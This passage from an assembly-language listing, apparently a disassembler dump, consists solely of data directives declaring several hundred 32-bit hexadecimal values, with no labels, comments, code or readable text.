		dd 169984C4h, 182E3A40h, 4F5B5FBEh, 0E93FB405h,	5BD5B52Dh
		dd 5970B1Ch, 0E469B37Eh, 3F1325E6h, 0F4557F92h,	85719509h
		dd 18507550h, 0C330301h, 783C6E45h, 9FF1A609h, 0CD00820h
		dd 60FF4A14h, 0D3397D49h, 30B8217Fh, 0C7AD5D4Ah, 0DAC27A89h
		dd 6DF3DE96h, 0F713105Ah, 98665125h, 0EF317897h, 0E1D82FAFh
		dd 692CD19Dh, 0A593E77Fh, 5866C660h, 2D170B1Fh,	1BBE3C82h
		dd 3F615040h, 22CEB568h, 0F66157C3h, 0BA8C6AC3h, 5E0E26C5h
		dd 0E5BF3ACDh, 0BA39D09Dh, 0E1033D85h, 5190AA14h, 0EFAFA36Eh
		dd 45F1936Bh, 0B4B81A73h, 0B9020094h, 64F0395Ah, 16B3FA2Ah
		dd 840DA962h, 0A1BEC537h, 1EA73BDEh, 181D6950h,	0BB30736Ah
		dd 222F6B05h, 8D8A74FAh, 403A7EE7h, 267B33B8h, 0B036124Ch
		dd 2C06EEC1h, 0C8DD2368h, 5DCD09C1h, 329EEE74h,	0D2BB6116h
		dd 5E092CF8h, 1D5346FAh, 8880285Fh, 0B7C05BB2h,	959A3D85h
		dd 0DAE5FBE8h, 0BA6143E8h, 5AD327FAh, 0AFF687D0h, 0E5955262h
		dd 0E099AB08h, 25300FBAh, 0AF404F51h, 20B9846Dh, 9242D8ACh
		dd 4287F678h, 265A6C59h, 16528B02h, 60F9015Ah, 0E11F4E33h
		dd 0B938AE2Bh, 88AA5A73h, 84315C85h, 5DE1E4C8h,	0FBE02902h
		dd 0B380A95Eh, 0DA083078h, 0F606EAF0h, 20166AEDh, 795D08h
		dd 0B82AA70Dh, 0CD00050Eh, 357CF92Ch, 9B1CBA8h,	8533E91Bh
		dd 77E97945h, 0E98B98DBh, 0A47AF82Fh, 16085986h, 28491774h
		dd 0C79904D6h, 0DD34BAB4h, 0E5017DD1h, 0C90FAC3Eh, 31CEA0EAh
		dd 0A4415A0Ah, 74DF20AFh, 80495825h, 95A04B17h,	5BC84889h
		dd 83BE5B2Ch, 0C6FEFCEEh, 6300A30h, 97F0283Ch, 88BEB0F5h
		dd 820E9E99h, 458A7230h, 6FD8AE57h, 2E8824FCh, 48C09B8h
		dd 35124218h, 0AAE25ADh, 84F508Dh, 6C2686DBh, 0A533D42Fh
		dd 0A3EFC222h, 0AEEC7A7Ch, 129799CBh, 84CAF756h, 0B0076B94h
		dd 0F6E1E009h, 0EA980CD8h, 5D807032h, 0ECC8D7EDh, 7FACD01h
		dd 0CCAA9C4Ah, 1E5E6507h, 99451AE4h, 0D7298A88h, 804FC58Fh
		dd 6130128Ah, 4CC12F35h
		dd 1B9002FAh, 0B40369Ch, 6301E4A3h, 0E9F929C9h,	0DD6A90CBh
		dd 3BCB6134h, 0B3537400h, 32B652B0h, 0F3085110h, 32A48175h
		dd 9F3CEE28h, 0C03F0C74h, 110C07E6h, 870B8FB7h,	0D6CB46E1h
		dd 647B0972h, 46315957h, 0A500B255h, 496CC81Ah,	0BC5C1FE9h
		dd 0B52488B8h, 81E28005h, 3018F7C0h, 0BA5B4AFAh, 50660CC0h
		dd 33EAC6B4h, 219F3891h, 0E5137815h, 9F89097Eh,	6B890DFCh
		dd 6200D460h, 10205D6h,	0B08F80CFh, 9D33ED22h, 92095970h
		dd 5777C203h, 30084F28h, 2412CE1Ch, 0B6184667h,	7F0652A2h
		dd 0ADEFB538h, 13EFE697h, 396419DEh, 27F6D8A6h,	81E0BF5Bh
		dd 0F8DA62F0h, 7CD4E188h, 0B1ABBA93h, 0C4AD6B6Fh, 6373B8C3h
		dd 0FBE92698h, 0C4A3414Ah, 0A3342079h, 3A1F48A1h, 700B812h
		dd 361C63EBh, 0F40CC117h, 7E40ED6Ch, 531B587h, 0EA9F3D45h
		dd 0C38A8B0Ch, 0C457FDC2h, 1135050Ch, 0EE5E2A7Ah, 0B0BF5124h
		dd 0A454E94Fh, 883951F9h, 25EB26E5h, 2900E62Eh,	93C281F2h
		dd 2B1D3E2Ah, 0FC42B9A7h, 0DD703AFDh, 55EAD4CAh, 90E4CADDh
		dd 0BC83E555h, 85064FB6h, 0D100EC8Fh, 0FC23BEAh, 0BA077384h
		dd 6D662F98h, 0B089C679h, 27ABC540h, 98C2D2DCh,	37D0952h
		dd 0F96E1B7Ch, 0B82A2912h, 5E74C2FFh, 9FC1DF13h, 0BE56004Eh
		dd 51DB74B9h, 2BEC8D7Dh, 0B6235024h, 0B270B7CDh, 81F32926h
		dd 0E3E93413h, 0BCD20FD3h, 0BCD2708Fh, 0A863105Bh, 0BBE3850h
		dd 5A0F4B76h, 2AF6F8B9h, 21BD5600h, 262C9439h, 0CF11D529h
		dd 0EA5DE884h, 0A85265E4h, 16AFB9C9h, 0BC30C377h, 0A75D3E24h
		dd 34DCFE54h, 44ACEA20h, 0E099EBB4h, 2277183Bh,	12147F05h
		dd 4FD17B6Fh, 1EBE2BC0h, 0F820F56h, 0D385F031h,	0FEF94E95h
		dd 0AE2996E4h, 6B8CA7CCh, 0C8C01FADh, 2B285F69h, 0ED09C271h
		dd 0AB7A1C0Fh, 2099E4FAh, 68EC1BACh, 4A134538h,	2AFD29AFh
		dd 32125BE2h, 0D62AACECh, 0F4A5D4B8h, 0F1975DC8h, 0BB53708Dh
		dd 7C01F50Bh, 0BFCF7A11h, 4B3B92D9h, 958B9DCh, 47736855h
		dd 5DE54059h, 7BACAC84h, 59BD2C75h, 97F28156h, 7F47EC41h
		dd 0B8403C5Eh, 296F7D5Ch, 2E51B5D1h, 79E12C97h,	7905A379h
		dd 1C8D76h, 0F334AFA6h,	0E95C017Eh, 3FCB3A02h, 0EEE3E009h
		dd 76D0699Bh, 86C60020h, 5A57ED4Ch, 4749684Eh, 15BA80A6h
		dd 9FDDA36Ch, 2914D267h, 8A0813FAh, 0F148E3E2h,	90DFED27h
		dd 0CB5153AEh, 72181A14h, 0F0728850h, 39E9C0B5h, 0EC3BBAB6h
		dd 0D3AD4BF5h, 0E88288C3h, 9655CAC9h, 74B9F11Eh, 67FC9F7Ah
		dd 68C710F2h, 0F6424A7Eh, 649C2710h, 4AE8986Bh,	83E8235Fh
		dd 0F1B7067Fh, 6E01C06Eh, 0E91038C7h, 0BD1A78F4h, 0D2FF2110h
		dd 775C97EAh, 20015969h, 0CF30228Fh, 3E0579Ah, 0BC555380h
		dd 3EE169C7h, 682C81F4h, 86E510Fh, 0FAE94B5Ch, 0B626CFC6h
		dd 83DEF6A5h, 0A4006DCh, 0F78028BCh, 3B82BFD5h,	7655F2C7h
		dd 16D7691Fh, 0E813D2DDh, 0E5FEB43Fh, 5AAE2A6Eh, 0A2E30C45h
		dd 16F75C82h, 0A73396CAh, 5A5881F6h, 0CB6A31E9h, 2319E2EBh
		dd 221E50D7h, 0F2171741h, 487FAB83h, 0A85B672Ch, 2BE9B043h
		dd 475EB778h, 0DC108843h, 4C7C28C3h, 0EB924669h, 1101614Ch
		dd 0B88E27E9h, 0C84ACF48h, 85686BC0h, 900D966Ah, 0D0D49F84h
		dd 49C5E9F0h, 30090F58h, 0A207A139h, 1691C3EEh,	0EF7F0987h
		dd 0BE31A4BFh, 5A5168A0h, 2AF2E1E1h, 5F330609h,	1C9BD514h
		dd 74B52D96h, 1F89CCD0h, 3E09993Ah, 0C01ADEA7h,	0D30CFD76h
		dd 1EE28D44h, 0F00E1308h, 4E1FA898h, 0CBA87D4Fh, 592ABF06h
		dd 830CBE6Bh, 184C6424h, 71D812EEh, 91F2FA3Eh, 0C862A45Eh
		dd 85F32F4Ah, 88949B13h, 0BA796661h, 53767174h,	124BBB1Eh
		dd 1377AB1h, 9FC20A87h,	1B01EB21h, 8B5DAAE9h, 0E55AF4E3h
		dd 0E68809A1h, 70E92FA3h, 3B05E94Eh, 0F4BC634Ah, 8D09FB96h
		dd 0B5056E58h, 5FC2E71Eh, 0F2378DE9h, 0E83041B6h, 0FBB56444h
		dd 4B763D38h, 6F36A7BDh, 686EC907h, 0E48CEE13h,	0E43AF388h
		dd 7040C01Dh, 3C1014BFh, 0C7028196h, 0E43827B4h, 3B136775h
		dd 0CD5EED01h, 7001F851h, 0E15F69CAh, 640729EFh, 3F5BA191h
		dd 0BFDD7DCCh, 64F527Eh, 0E5971DFh, 0FB3C67C5h,	60060C78h
		dd 0E96F7F09h, 5A21F7D2h, 28535BDEh, 0A79C0F2Fh, 84D7E5AAh
		dd 29A1D9F8h, 3E163591h, 42C938E1h, 62DEAAA7h, 448124BEh
		dd 18FA2A04h, 6271669Ch, 875F0AA1h, 0D2CF165h, 0E621440Bh
		dd 0B8D620EFh, 168FBA0Ah, 0D305B06Ah, 9080565Ah, 4BE02364h
		dd 724AAC25h, 0BC3EC414h, 9AC824CDh, 0B1516683h, 0AE0FC932h
		dd 0FE291289h, 0CCA021C8h, 0FCBB14C0h, 4A77D842h, 0E690EF43h
		dd 0EC504F9Ah, 39E02FE9h, 412DD8F2h, 6C391846h,	49924C6Fh
		dd 0BB77510h, 303F1168h, 74236BFh, 0EA831BDDh, 514A60FFh
		dd 0F14DAB9h, 7977D73h,	7A75BF74h, 2CE8E454h, 8F3525Bh
		dd 622F7D15h, 510A7E9Ah, 0BA882A5Ah, 2129404Ah,	4926F977h
		dd 93A58193h, 0AA6244D5h, 5AD02F21h, 0B58BC5DEh, 46C4DFB4h
		dd 4B0DC949h, 0DA91DCA2h, 8340665Ah, 9F4F8298h,	57E181EDh
		dd 0BCAF0479h, 13151C6Ch, 0C9193C21h, 6A882B58h, 57E23712h
		dd 7BD72189h, 0A03012E8h, 80B55C26h, 2E2283C6h,	6544900Ah
		dd 0C9EE8759h, 62986192h, 0D601029Eh, 0F6FB55E9h, 7B486276h
		dd 7BFD6E6Ah, 18DF2724h, 825D392Eh, 0F13F7440h,	1FBE60Ah
		dd 0F31324D5h, 3FF8BBC4h, 3C39EF4Eh, 4BB7FD83h,	0FC93E730h
		dd 10E9080Bh, 5B25937h,	3406C368h, 9EF78396h, 665BA903h
		dd 3C06E7C1h, 0F7130709h, 0CF3B04DFh, 1D0E82BBh, 705F814Ah
		dd 487B00CEh, 55E163Fh,	40FE67BFh, 7F4A8A90h, 50FDFDD0h
		dd 0DE6863AFh, 0E9B27EFBh, 94FDC04Ah, 4A21BC76h, 652108E4h
		dd 5DC83C93h, 379684h, 0D96B6EBBh, 0CB048151h, 329D5299h
		dd 1284EDAEh, 0F5FA78B4h, 4F7E22CAh, 0E9B86CABh, 0C870C12Eh
		dd 2D26CC4h, 0AFCAF705h, 5792B651h, 9CF9E3FAh, 2656D81Fh
		dd 82CA2D06h, 0FC882544h, 447416A2h, 983F81EDh,	0B591525Ch
		dd 7D1CB753h, 73639180h, 48D1CC9Fh, 0F14B6455h,	0F3D87F9Bh
		dd 8E4000EEh, 0E9F1313Bh, 77C992D5h, 848C65C2h,	0AC276B68h
		dd 4A08C05Dh, 62BD7660h, 0DD310B0Ch, 0CE976C4Eh, 5CF140E9h
		dd 47096814h, 0B58FD255h, 65986809h, 6A5ED146h,	25CB91C5h
		dd 1A21610h, 7D20BBB8h,	5A60966Fh, 885EA82Ah, 4CFAE4C7h
		dd 825B625Bh, 18FD509Dh, 12C46822h, 0EE7F4C13h,	0F22FC1F5h
		dd 75F0F104h, 1A605A02h, 0B9163961h, 90BE2177h,	7D9C68F6h
		dd 20B2A49Dh, 0D2DE6BF9h, 0FED25362h, 0B23F9A29h, 1DE80777h
		dd 0C5945476h, 21D0CBC4h, 27D6BFh, 0F7814DDCh, 1E4447BEh
		dd 0B9056A90h, 150C837h, 0A847D0EEh, 0D8D757AFh, 901413EBh
		dd 495D43E9h, 10BF2F4Eh, 56040858h, 0FE50FFE9h,	0B46E4989h
		dd 6405473h, 249A2468h,	7DF0C21Bh, 0E951AC98h, 5B208A59h
		dd 68FA36AAh, 302439E4h, 0C18B37Ch, 312EBA36h, 0CB7A381Dh
		dd 1D0225Fh, 1C447D36h,	95E3C701h, 0F8C0081Bh, 5F2851A1h
		dd 0F540EE0Ch, 0F26B6F16h, 931C2AE9h, 40230F94h, 37456863h
		dd 47C5924Ch, 0A0D7786Ah, 26A9BB51h, 6271B5C0h,	0F4803827h
		dd 0BD6BB7E2h, 0D9FF34F2h, 0A5F3E011h, 4D4D99E9h, 26F829DEh
		dd 6791923Eh, 8DC5DAB8h, 0E7D8EADCh, 7569390Dh,	40C9BDDBh
		dd 47F05D08h, 0D6547F4Ch, 0DE1E317h, 0D2A4566Dh, 47F75516h
		dd 0B0C8ADDBh, 0D8AAFC41h
		dd 0DF69F43h, 0EC603151h, 51BC25DBh, 0CF84EA65h, 9E6457B9h
		dd 516CB0B2h, 0E4201AB0h, 9B63A0A5h, 37C20109h,	19F80540h
		dd 0A3D283F2h, 0D038206Eh, 4AACD0A9h, 4CCCB857h, 0F80804B8h
		dd 0E5AF84BCh, 0E6B305A6h, 7ED5D383h, 8E044384h, 29BB52E4h
		dd 21BC08B0h, 19E4304Eh, 45FC09C3h, 5578CDF7h, 12A60509h
		dd 1B480262h, 22E127A3h, 0CD5E3251h, 42246902h,	7FE3DD7Fh
		dd 0A942FE9Dh, 9A0A19E9h, 0F9F97D94h, 1CD64427h, 6DFF50C5h
		dd 0A246F6B2h, 0A6AF734h, 1F74CBFDh, 4D251005h,	7B3A75E3h
		dd 22BF09D0h, 0F0B44AB9h, 0CAA34A8Eh, 98ACA4F8h, 0E9121DB8h
		dd 0F4FA79A9h, 0C2B5B903h, 0C24A761Fh, 0E3FC134Bh, 41ECE9D0h
		dd 0D6533008h, 2643BBBCh, 0BA4C0377h, 3A1B4DCBh, 3BB246D1h
		dd 66011990h, 79B30E53h, 5BC9DC30h, 46A43CFCh, 10EB8005h
		dd 0AFC8B84h, 8227A34Fh, 0E4913FE9h, 0F59D0FC4h, 2F668743h
		dd 0C3631731h, 0EC4BD49Ah, 0C8AE5EC4h, 5BC7030Ch, 11D5C821h
		dd 872D47B8h, 0FA473BDDh, 5594AB78h, 9258D67h, 770189CFh
		dd 0CA0D14CEh, 0F9F6B4E9h, 6A724DDh, 1165F602h,	3882075Eh
		dd 0E3B22A45h, 1794E91Bh, 0FC6D417Ah, 6A35AE43h, 0C85C89E8h
		dd 22DE3898h, 0BAF645FAh, 3CB5FEB2h, 58D5C9B3h,	245E73DDh
		dd 0ADB32627h, 0A30914F8h, 756B73D2h, 0AABB5AC0h, 209F082h
		dd 0F372AE2Dh, 40C25547h, 0D9221644h, 2329A07Fh, 0E2A19C10h
		dd 4D7D829h, 0B5F3AD63h, 0FC4D4E05h, 8874BE6Eh,	0DB00C19h
		dd 0C03F3BC0h, 252F081Dh, 294A74F6h, 0C0464D9h,	0EC491ACCh
		dd 0A4BE5B17h, 2113D14Ch, 3EEC634Fh, 20B9371Eh,	0EAE927h
		dd 8ECE2D26h, 0C55EC12Eh, 68EF8958h, 75C1B2FAh,	0AFF89C6Ah
		dd 0D9B15730h, 3EDD7AF1h, 0CFA626D0h, 0DB801418h, 2B203081h
		dd 37FD3B22h, 0FA7E4A02h, 0B8D709C8h, 955AF5A3h, 6082FFFh
		dd 0F17D61D3h, 0A7D8E41h, 8915BC6Ah, 0D04E60EDh, 96F1EFEEh
		dd 91E73F94h, 5D3FC71Ch, 0CF47DD41h, 646420CFh,	0A2A4AA5Ah
		dd 206C107h, 76667DE9h,	600A00F9h, 0AEB876E7h, 38562C4Dh
		dd 0C9C6169Eh, 71D301E7h, 0A7017B11h, 5455DEEAh, 5892E9C4h
		dd 0BED2677Eh, 0D0D7C1E3h, 0C7685262h, 99F3625Fh, 4FEB1C50h
		dd 4B5DA7F5h, 0F0ECFB1Ch, 908DF80Bh, 96855BFh, 35A63AFAh
		dd 556B24D4h, 8F229A60h, 55A80A02h, 754B5D5Bh, 2BC9C1E8h
		dd 1B228FAh, 0C41E6102h, 70E1E939h, 72BE0408h, 0C226FA7Bh
		dd 0C5618D86h, 82B02A58h, 0EC147B2Dh, 0EA014E43h, 3894928h
		dd 0E95B385Ah, 1341411Ah, 96E36014h, 5CAF649Ch,	3B2A0304h
		dd 0FEF237A3h, 215910E8h, 39F2D84Fh, 3ABBD1D2h,	536800A5h
		dd 62849C40h, 14227D7Bh, 4C022FDh, 0C44471F7h, 746A81F7h
		dd 2FB606C9h, 2C7949E2h, 7567F103h, 0F431E22Ah,	66C581ADh
		dd 2F0B6D70h, 5A20BECh,	880BC5D6h, 60D8E7h, 0FE90B652h
		dd 4E6C0C6h, 8AF68007h,	0C5EEF430h, 0D7BB44C3h,	50585896h
		dd 0F64D0CB0h, 0C4A66D8h, 28F82C07h, 4B4F04F0h,	2887575Ah
		dd 67A23FD0h, 8DD52D34h, 60980681h, 0BEB23AB3h,	0E939D3E0h
		dd 0B6EEE295h, 0A7435F29h, 2C59E880h, 0F8580570h, 0A044101Fh
		dd 66254063h, 0F2EAAB2Ch, 5D3E5B19h, 4A2CB73Fh,	4B0108C3h
		dd 6AF644B9h, 9EB7077Dh, 38F8F373h, 4E84580Eh, 985B7768h
		dd 65123CC1h, 4C007F0Ah, 0F0822EF1h, 0E9DE0931h, 20CC1230h
		dd 7DE762B7h, 376AB379h, 53B11C96h, 54B0F728h, 320B106Dh
		dd 84DDF75Dh, 0BE3428F2h, 8F826B44h, 0CBDE27EFh, 5A083355h
		dd 0F8A9532Dh, 5238C419h, 0FBF38100h, 0C47BE2BAh, 1686A035h
		dd 0CCEFF1EBh, 361C3B7Dh, 8C7C5F55h, 0B30BBCE9h, 2B7909C9h
		dd 930018F8h, 339B4FB8h, 0A1C6E91Ch, 5316D72Dh,	5EB6EFFEh
		dd 5567D725h, 0E9E6FD25h, 0A76DFB30h, 5C323AEDh, 9524B4E3h
		dd 29F5AFA2h, 12B99673h, 926833E9h, 4ADD05F4h, 4457714h
		dd 8AB4D5A5h, 0A1BB5302h, 5727C251h, 0E6617562h, 2C9C4001h
		dd 0FFB0EB4Ch, 0C7D1DB28h, 0DF076631h, 0B41702C4h, 5E3A92CAh
		dd 5CF280F7h, 9D56D852h, 0D460EA42h, 0A0B7736Dh, 707A8D09h
		dd 5A095855h, 0A5B73526h, 0E9D8B87Eh, 0BBC75E73h, 0D1299561h
		dd 1E7884F5h, 0FB2C4B56h, 1DBC1093h, 25828A05h,	84342D6Ah
		dd 73A83581h, 50AA29CCh, 1B95B800h, 900D72EDh, 320A2575h
		dd 52F44BE4h, 762B1813h, 0DD9D80BBh, 0B125C1E6h, 641BA089h
		dd 0EC52235Eh, 48FA09CEh, 907D02C2h, 2D38D3CAh,	0B3C66BF1h
		dd 5A1CE0BDh, 0BD0801E9h, 620D933Dh, 0F6FD3B29h, 0B909FE25h
		dd 1854B9F4h, 0C85559C8h, 612F3B46h, 4F655006h,	54158851h
		dd 440E0D97h, 42669D3Eh, 80001AC0h, 4D208AC2h, 0E3019DD3h
		dd 71E9F330h, 55229A4h,	1091AB4h, 3CDBE801h, 97B5745h
		dd 4EE22F83h, 67DDA86Ah, 0DD77B80Bh, 4A7E4C4Ch,	0AF16BA0Ah
		dd 23EC796Eh, 0E047550Ah, 2FC201A6h, 8213D941h,	0DF9C1E0Ch
		dd 2061D61Ch, 0E47414EEh, 5515E344h, 0E82508BDh, 38249C7Bh
		dd 117F2819h, 0C23DBC7Dh, 72560FFEh, 0A81CEA01h, 15A2B508h
		dd 6E4926BDh, 99C0FEC1h, 8BEEACE2h, 0E7B2084Ah,	0BF5400DEh
		dd 0B3C9E97Dh, 0EDD1DAC3h, 0CE3CC145h, 9BEC442Ah, 96A9AA79h
		dd 0A7A908B1h, 27DEFE22h, 0A03E227Bh, 2D5F02D8h, 407056DBh
		dd 5058185h, 0E08DE907h, 8B976643h, 4CB702ADh, 0A0C75D53h
		dd 0AF0BE420h, 0FC5CAC1Ch, 6EC70264h, 4D42CB5h,	9521782h
		dd 0A05561D0h, 3D6D8AD4h, 30FECD01h, 0EECFD71Ah, 0A83F18DEh
		dd 0D5F126C9h, 8D7B5DC9h, 8897DCCBh, 5E1DE540h,	6A8A698Bh
		dd 8F47B19h, 280B53C8h,	0BD8C05F3h, 48835082h, 8249542Ah
		dd 81B98A5Fh, 1432A80Bh, 7DF0B544h, 0A562FB9Eh,	0ABC62037h
		dd 35FDC0Ah, 84029FDh, 6850095Dh, 30DF5A48h, 5B34E95Ch
		dd 4B1AF2E4h, 39301CF1h, 6C26B59Eh, 85A0607h, 1431EFBCh
		dd 0A502C76Dh, 44915593h, 54AA5250h, 0A2966C77h, 2F0BD70Dh
		dd 9C5403FEh, 3B0802D4h, 0E55D6CB9h, 4E7A8857h,	0EA2F682Fh
		dd 325D956Dh, 6A9A39D7h, 53285128h, 493431FDh, 32489A19h
		dd 383707F1h, 8DEF2399h, 37613B66h, 0B55EDDDCh,	46E23EFCh
		dd 62697C43h, 0A97612C6h, 77597F61h, 0A37A5AC9h, 966A610Fh
		dd 67280655h, 2707032Ch, 6D424562h, 627871D7h, 3AC1B0F7h
		dd 0DF816B6Ch, 0D2043862h, 0D360DC02h, 7CE6BE3Bh, 31466113h
		dd 4AAF016h, 194BF054h,	1170066Eh, 40707507h, 3F168F65h
		dd 0AF010CBCh, 32E931CAh, 5C691A00h, 0BD3BCF98h, 21AF9CC6h
		dd 0FFE9EB44h, 0B64E17EBh, 4081481Bh, 637A9984h, 0F7105F66h
		dd 0F9890B0Fh, 204143E9h, 8C01D425h, 0C2273F7Ah, 5A627C19h
		dd 0AC64D204h, 5923C5B7h, 38B044FBh, 94E8BEE0h,	4A4A6F85h
		dd 0A8DDF1CAh, 12A45545h, 6B2054DDh, 3A5F8155h,	0C922CBAh
		dd 6398E392h, 68AE0507h, 85C52D4Ch, 0EC468CA0h,	5E7895F9h
		dd 4CA8FB1h, 5E760D89h,	0E107651Fh, 90E96C94h, 66027FB0h
		dd 0FE9374Ah, 4FBAF76Dh, 9B53A84h, 133F7428h, 4BB0F8B1h
		dd 0E90932CAh, 0C4EEB08Bh, 4B75AF6h, 80AB297Ah,	92569DFCh
		dd 0F15E2427h, 17781655h, 1AFB85Eh, 895FE488h, 0FA69FB31h
		dd 3487DB10h, 11FE9255h, 0BAD64131h, 8EA9C617h,	9618D8B1h
		dd 0ADCDE221h, 61C18D40h, 662858D7h, 726BE91Ah,	0DAFC5C55h
		dd 66118BFDh, 8ED0102h,	1566471h, 82CA0FDh, 9088E95Ch
		dd 48F0078Fh, 0EDB20D67h
		dd 8B5FF45Dh, 2E665449h, 0D178899Dh, 0E1FB641Ah, 0D5A82F0Fh
		dd 582F6EB6h, 8E1F513Ah, 0B856B3FAh, 0C2EE4BEDh, 6340E010h
		dd 0BF80A860h, 0CC0201C6h, 11E78118h, 2007D537h, 0E9124FF4h
		dd 81EC1C63h, 7D4933C3h, 6EE581E8h, 485F5816h, 1F4E95F4h
		dd 8140E84Dh, 47179DCDh, 64864073h, 0BB0EE5A7h,	6A5DE929h
		dd 6213B4CEh, 0D2C89A34h, 485E41B2h, 0CC3168EBh, 0BF08FD12h
		dd 7B1CF72Eh, 0A03CFC27h, 2260A3BBh, 18564834h,	171E4710h
		dd 0FFFC6FEh, 4A65C221h, 0CDD8D13Eh, 7BE23F0Bh,	2D2C829h
		dd 51A905E0h, 278C1440h, 0E97B8704h, 0BFFD9DA6h, 3C452304h
		dd 0F8F2DC7Ah, 0F728DA40h, 19E5B221h, 0BD12072Fh, 6588804Eh
		dd 6C627768h, 0F7719431h, 2AF31046h, 0E54050AEh, 81D7232Ch
		dd 0A4753CBAh, 0C70F2B7Dh, 34BBB268h, 0EA8CC1EAh, 0FFBF0228h
		dd 647FE7EAh, 9AE79840h, 3B681BF2h, 29D27F21h, 1251C71h
		dd 0E1455241h, 42005D0h, 2971C509h, 5317C4F0h, 0D2D01008h
		dd 17873417h, 0B508C41Fh, 0CD9FE4A4h, 0BC47DCB5h, 44791013h
		dd 0CC7FD38Eh, 52FC57A9h, 0F1E8F15Dh, 0EC23363Ch, 0BD85329h
		dd 0EC77FE8Dh, 24EE8282h, 9CAF8999h, 0DD00B907h, 0B8535F6Eh
		dd 5AE4D77Eh, 780DF4D9h, 762500B6h, 0D709C933h,	0E9A44AF8h
		dd 0BF985C9Fh, 18FFBCADh, 261B7D9Bh, 146D1E34h,	3A18DF03h
		dd 5FFA3F8Eh, 0F2818394h, 2DCE66F8h, 7E02129Eh,	0E1284B05h
		dd 5FC4829Eh, 68E2D100h, 0BD7E4820h, 2B107DD0h,	1C680CA6h
		dd 0BF1DF93Ch, 90E178Ah, 98592701h, 1306808Eh, 58EB9CEBh
		dd 68851C99h, 1A8C2111h, 0CDBF255h, 5D5B4964h, 9B1629FCh
		dd 0A312A4B6h, 0BF382E4h, 843BEAAAh, 0B37C60FFh, 0BB1CC0C1h
		dd 2B7A0EC2h, 1ABA5200h, 0E9635E70h, 0F470B2E8h, 5CA3F6C0h
		dd 62F8727h, 0D4772362h, 9593741Ah, 5FD56804h, 0F81B68BFh
		dd 77B1C5B2h, 29E1E713h, 1C56CB7Fh, 5D278A05h, 9790806Ch
		dd 630A6A2Eh, 5E1CEF96h, 0F33293C2h, 8034E317h,	97ECB99Bh
		dd 945F2E89h, 0B1497DBh, 10DC5E48h, 881D52B0h, 0DEAD79CCh
		dd 0E3C2D9E3h, 3974428Bh, 0C9C08619h, 0FBD6464h, 4981723Dh
		dd 98F6E56Bh, 3701F61Ch, 6C12683Bh, 0CAC5B429h,	4B1D8A60h
		dd 0FABB64EBh, 630B4765h, 0B28F028h, 6AB668ACh,	7E35B877h
		dd 0D9588184h, 5C0CAF4Eh, 2E8971DDh, 977E361h, 58A20768h
		dd 95D46EFFh, 7E51747Eh, 0E892667Ch, 4C282A3Fh,	4CD38839h
		dd 0A62D7D53h, 0E177F619h, 381674E9h, 0F79680B6h, 0E4C631D0h
		dd 5608C9F0h, 938E45DDh, 0D20117E9h, 0F37D70A4h, 536D310Eh
		dd 0EA27B54h, 0CFDCBBA5h, 0D2615CB9h, 0DF053BD4h, 0D8633568h
		dd 654964E5h, 9BA84FE6h, 6C018371h, 0F6013B3Ch,	0FEF4DE89h
		dd 0BB8DC006h, 0A21156Eh, 0B1684B3Dh, 0AACD7144h, 0CE8AC05h
		dd 0C400867h, 330A13E8h, 9F55017Fh, 823C4D15h, 0FB1D3E18h
		dd 27D9F606h, 946365F1h, 0EE5302A6h, 64D17025h,	0C6A661FDh
		dd 0F45F0842h, 6CEC0769h, 8D0C08ADh, 5AE99E61h,	5E77091Eh
		dd 0DF23B0F5h, 5818C1FCh, 8B51C768h, 4907C6C3h,	956C5A68h
		dd 4D9582A4h, 2827E00Eh, 135866C3h, 0AFE3EB80h,	0B41F76E6h
		dd 27F44292h, 0E077C4FEh, 0EADAE4EFh, 42E6F9D4h, 621C7782h
		dd 39BDDB2Ch, 0F867056Fh, 0B62928BAh, 0C1B96F4Fh, 0A8141CC5h
		dd 7F2D89B0h, 16A2CA48h, 277967BFh, 7E43017Ch, 21681641h
		dd 97F1E2D1h, 96685380h, 9E8D9112h, 6624956h, 0A1069C46h
		dd 593EE533h, 52042434h, 654E00A9h, 2D58619Ah, 0D3904F73h
		dd 75D33507h, 18A547A0h, 1E9C413h, 98D6A05Ah, 5D5A6761h
		dd 0C03FF109h, 0E327311Ah, 0A820397Fh, 0E80118AAh, 17468A52h
		dd 5E757401h, 943DE94Eh, 0E2429836h, 0BF54C912h, 0BF02E5E6h
		dd 0DA2464Fh, 661E7040h, 29730109h, 0F7BC00DFh,	5C79524Bh
		dd 0B65EA802h, 9FCD2693h, 0F23F31A6h, 5013DCBDh, 0F34B685Dh
		dd 0F08488A9h, 0F2800245h, 0F048551Fh, 0DA0B8688h, 7A14F653h
		dd 5354E13h, 81665EEDh,	0AF281A30h, 13355EA0h, 8B008797h
		dd 0D2B5BAD8h, 0B25797ADh, 6DC47D98h, 0BF408A20h, 0E958C45Eh
		dd 14B7BAEFh, 0E02C383h, 0BE27FC4h, 0AC32615Bh,	8021076Fh
		dd 1E2CA2F5h, 76204778h, 48FB077h, 0D91C4FBBh, 0C1C5F059h
		dd 2D03E801h, 0FCEAF276h, 0C755B06Fh, 81A18458h, 0ED54CD18h
		dd 59C0C07Fh, 5D4CE809h, 0FC2D1EAAh, 0C3EC2ED8h, 0E3490E57h
		dd 0C2B6E972h, 40D75B24h, 8774FB4h, 0DA291B2Eh,	0B09D0820h
		dd 0B5D50159h, 507104D4h, 0B262BB2Fh, 26957EACh, 9CD5271Dh
		dd 0B9510062h, 450310ABh, 0AF62F181h, 5BCB010Dh, 35B10832h
		dd 6F79C582h, 93E07F48h, 0BE2D2571h, 80BCE59Eh,	1A551945h
		dd 0DD4B61E9h, 0C1C4ECB8h, 669CBF52h, 35544013h, 813B2E09h
		dd 88B4C571h, 0EE813FBFh, 0D2BDA977h, 0CCF4F0F9h, 45A796BCh
		dd 0E1298257h, 0E4BB5904h, 4EF22D7Ch, 0E384062Fh, 2DBEE513h
		dd 50B166BFh, 7C5E1110h, 367C97CAh, 128FE7B8h, 1C570207h
		dd 0F6855E23h, 87A20712h, 4C01BED9h, 34099FDDh,	7D212AA7h
		dd 2E1E5C0Dh, 0E807601h, 0A87A2282h, 0D5E68B02h, 4557619Ah
		dd 0E95C6041h, 0FF4E5AF7h, 0A7499EAh, 134E484Fh, 617974h
		dd 0EC2F538Ah, 0B4BBA41Eh, 314ED7ACh, 0B2C6DFE8h, 0BE0632DEh
		dd 26465B96h, 90B0ED0h,	0C1C0CC30h, 4AF859D0h, 55F12903h
		dd 7E41E9h, 46B3E3C1h, 4683267h, 0A3CC424Fh, 30CE58ABh
		dd 6BEDE8B1h, 50E1F258h, 0CDD2A154h, 7268B550h,	16269312h
